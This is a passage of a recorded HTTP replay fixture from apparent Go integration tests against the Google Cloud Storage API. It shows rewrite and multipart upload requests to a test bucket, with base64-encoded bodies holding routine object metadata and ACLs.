"974ed1b42608e806", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o/posc/rewriteTo/b/go-integration-test-20190502-80633403432013-0001/o/posc?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "34" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJzdG9yYWdlQ2xhc3MiOiJNVUxUSV9SRUdJT05BTCJ9Cg==" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "3193" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:42 GMT" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UrKCtuc_GsAj6sf3zXpqT2_KZrdL0SEwsunv07k0DaaEHMj8gkX4kRCcm5r8AUrD9RNYjoKeceiCyY4pDN8nrHljshmEIXF2P29Oyd0KSuqDjsNeps" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNyZXdyaXRlUmVzcG9uc2UiLCJ0b3RhbEJ5dGVzUmV3cml0dGVuIjoiMyIsIm9iamVjdFNpemUiOiIzIiwiZG9uZSI6dHJ1ZSwicmVzb3VyY2UiOnsia2luZCI6InN0b3JhZ2Ujb2JqZWN0IiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvcG9zYy8xNTU2ODM1ODgyNzYwNjA3Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vcG9zYyIsIm5hbWUiOiJwb3NjIiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4ODI3NjA2MDciLCJtZXRhZ2VuZXJhdGlvbiI6IjEiLCJ0aW1lQ3JlYXRlZCI6IjIwMTktMDUtMDJUMjI6MjQ6NDIuNzYwWiIsInVwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI0OjQyLjc2MFoiLCJzdG9yYWdlQ2xhc3MiOiJNVUxUSV9SRUdJT05BTCIsInRpbWVTdG9yYWdlQ2xhc3NVcGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNDo0Mi43NjBaIiwic2l6ZSI6IjMiLCJtZDVIYXNoIjoickwwWTIwekMrRnp0NzJWUHpNU2syQT09IiwibWVkaWFMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vZG93bmxvYWQvc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL3Bvc2M/Z2VuZXJhdGlvbj0xNTU2ODM1ODgyNzYwNjA3JmFsdD1tZWRpYSIsImFjbCI6W3sia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL3Bvc2MvMTU1NjgzNTg4Mjc2MDYwNy9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9wb3NjL2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJvYmplY3QiOiJwb3NjIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4ODI3NjA2MDciLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ0ovemo4N3gvZUVDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL3Bvc2MvMTU1NjgzNTg4Mjc2MDYwNy9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vcG9zYy9hY2wvcHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6InBvc2MiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg4Mjc2MDYwNyIsImVudGl0eSI6InByb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6ImVkaXRvcnMifSwiZXRhZyI6IkNKL3pqODd4L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9wb3NjLzE1NTY4MzU4ODI3NjA2MDcvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL3Bvc2MvYWNsL3Byb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJvYmplY3QiOiJwb3NjIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4ODI3NjA2MDciLCJlbnRpdHkiOiJwcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6IlJFQURFUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoidmlld2VycyJ9LCJldGFnIjoiQ0ovemo4N3gvZUVDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL3Bvc2MvMTU1NjgzNTg4Mjc2MDYwNy91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vcG9zYy9hY2wvdXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6InBvc2MiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg4Mjc2MDYwNyIsImVudGl0eSI6InVzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJyb2xlIjoiT1dORVIiLCJlbWFpbCI6ImFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiZXRhZyI6IkNKL3pqODd4L2VFQ0VBRT0ifV0sIm93bmVyIjp7ImVudGl0eSI6InVzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20ifSwiY3JjMzJjIjoiejhTdUhRPT0iLCJldGFnIjoiQ0ovemo4N3gvZUVDRUFFPSJ9fQ==" - } - }, - { - "ID": "a2be30bf1e3cb539", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/upload/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o?alt=json\u0026prettyPrint=false\u0026projection=full\u0026uploadType=multipart", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "multipart/related", - "BodyParts": [ - "eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJuYW1lIjoicG9zYzIiLCJzdG9yYWdlQ2xhc3MiOiJNVUxUSV9SRUdJT05BTCJ9Cg==", - "eHh4" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "3150" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:43 GMT" - ], - "Etag": [ - "CILrp87x/eECEAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_single_post_uploads" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UqziYHpTkcbyMFRtHko_e04Rze8FHLbALw476U2bB9k_SqPwILBzxKRLzFvRN4q3RLt4xR1mpR2lgJ1Zq0BNYCefLOZsOeq4JbzJYLxGL5V799xkQ8" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9wb3NjMi8xNTU2ODM1ODgzMTUyNzcwIiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vcG9zYzIiLCJuYW1lIjoicG9zYzIiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg4MzE1Mjc3MCIsIm1ldGFnZW5lcmF0aW9uIjoiMSIsImNvbnRlbnRUeXBlIjoidGV4dC9wbGFpbjsgY2hhcnNldD11dGYtOCIsInRpbWVDcmVhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNDo0My4xNTJaIiwidXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjQ6NDMuMTUyWiIsInN0b3JhZ2VDbGFzcyI6Ik1VTFRJX1JFR0lPTkFMIiwidGltZVN0b3JhZ2VDbGFzc1VwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI0OjQzLjE1MloiLCJzaXplIjoiMyIsIm1kNUhhc2giOiI5V0dxOXU4TDhVMUNDTHRHcE15enJRPT0iLCJtZWRpYUxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9kb3dubG9hZC9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vcG9zYzI/Z2VuZXJhdGlvbj0xNTU2ODM1ODgzMTUyNzcwJmFsdD1tZWRpYSIsImFjbCI6W3sia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL3Bvc2MyLzE1NTY4MzU4ODMxNTI3NzAvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vcG9zYzIvYWNsL3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6InBvc2MyIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4ODMxNTI3NzAiLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ0lMcnA4N3gvZUVDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL3Bvc2MyLzE1NTY4MzU4ODMxNTI3NzAvcHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL3Bvc2MyL2FjbC9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0IiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwib2JqZWN0IjoicG9zYzIiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg4MzE1Mjc3MCIsImVudGl0eSI6InByb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6ImVkaXRvcnMifSwiZXRhZyI6IkNJTHJwODd4L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9wb3NjMi8xNTU2ODM1ODgzMTUyNzcwL3Byb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9wb3NjMi9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6InBvc2MyIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4ODMxNTI3NzAiLCJlbnRpdHkiOiJwcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6IlJFQURFUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoidmlld2VycyJ9LCJldGFnIjoiQ0lMcnA4N3gvZUVDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL3Bvc2MyLzE1NTY4MzU4ODMxNTI3NzAvdXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL3Bvc2MyL2FjbC91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwib2JqZWN0IjoicG9zYzIiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg4MzE1Mjc3MCIsImVudGl0eSI6InVzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJyb2xlIjoiT1dORVIiLCJlbWFpbCI6ImFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiZXRhZyI6IkNJTHJwODd4L2VFQ0VBRT0ifV0sIm93bmVyIjp7ImVudGl0eSI6InVzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20ifSwiY3JjMzJjIjoiMTdxQUJRPT0iLCJldGFnIjoiQ0lMcnA4N3gvZUVDRUFFPSJ9" - } - }, - { - "ID": "d570e13411ade628", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/upload/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o?alt=json\u0026prettyPrint=false\u0026projection=full\u0026uploadType=multipart", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "multipart/related", - "BodyParts": [ - "eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJuYW1lIjoiYnVja2V0SW5Db3B5QXR0cnMifQo=", - "Zm9v" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "3336" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:43 GMT" - ], - "Etag": [ - "CPCDx87x/eECEAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_single_post_uploads" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UrltsLp6xgl5GQBA_ZoqyMKcRlP-MvWyo0epRXUAbOAkOUUpAOgezp4fFQRP5wEM1fq771AWUgtYvQ3HLXCnwxmDaCqJxEhICiYhxDp8RpvCnn3xuI" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9idWNrZXRJbkNvcHlBdHRycy8xNTU2ODM1ODgzNjYzODU2Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vYnVja2V0SW5Db3B5QXR0cnMiLCJuYW1lIjoiYnVja2V0SW5Db3B5QXR0cnMiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg4MzY2Mzg1NiIsIm1ldGFnZW5lcmF0aW9uIjoiMSIsImNvbnRlbnRUeXBlIjoidGV4dC9wbGFpbjsgY2hhcnNldD11dGYtOCIsInRpbWVDcmVhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNDo0My42NjNaIiwidXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjQ6NDMuNjYzWiIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwidGltZVN0b3JhZ2VDbGFzc1VwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI0OjQzLjY2M1oiLCJzaXplIjoiMyIsIm1kNUhhc2giOiJyTDBZMjB6QytGenQ3MlZQek1TazJBPT0iLCJtZWRpYUxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9kb3dubG9hZC9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vYnVja2V0SW5Db3B5QXR0cnM/Z2VuZXJhdGlvbj0xNTU2ODM1ODgzNjYzODU2JmFsdD1tZWRpYSIsImFjbCI6W3sia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL2J1Y2tldEluQ29weUF0dHJzLzE1NTY4MzU4ODM2NjM4NTYvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vYnVja2V0SW5Db3B5QXR0cnMvYWNsL3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6ImJ1Y2tldEluQ29weUF0dHJzIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4ODM2NjM4NTYiLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ1BDRHg4N3gvZUVDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL2J1Y2tldEluQ29weUF0dHJzLzE1NTY4MzU4ODM2NjM4NTYvcHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL2J1Y2tldEluQ29weUF0dHJzL2FjbC9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0IiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwib2JqZWN0IjoiYnVja2V0SW5Db3B5QXR0cnMiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg4MzY2Mzg1NiIsImVudGl0eSI6InByb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6ImVkaXRvcnMifSwiZXRhZyI6IkNQQ0R4ODd4L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9idWNrZXRJbkNvcHlBdHRycy8xNTU2ODM1ODgzNjYzODU2L3Byb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9idWNrZXRJbkNvcHlBdHRycy9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6ImJ1Y2tldEluQ29weUF0dHJzIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4ODM2NjM4NTYiLCJlbnRpdHkiOiJwcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6IlJFQURFUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoidmlld2VycyJ9LCJldGFnIjoiQ1BDRHg4N3gvZUVDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL2J1Y2tldEluQ29weUF0dHJzLzE1NTY4MzU4ODM2NjM4NTYvdXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL2J1Y2tldEluQ29weUF0dHJzL2FjbC91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxIiwib2JqZWN0IjoiYnVja2V0SW5Db3B5QXR0cnMiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg4MzY2Mzg1NiIsImVudGl0eSI6InVzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJyb2xlIjoiT1dORVIiLCJlbWFpbCI6ImFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiZXRhZyI6IkNQQ0R4ODd4L2VFQ0VBRT0ifV0sIm93bmVyIjp7ImVudGl0eSI6InVzZXI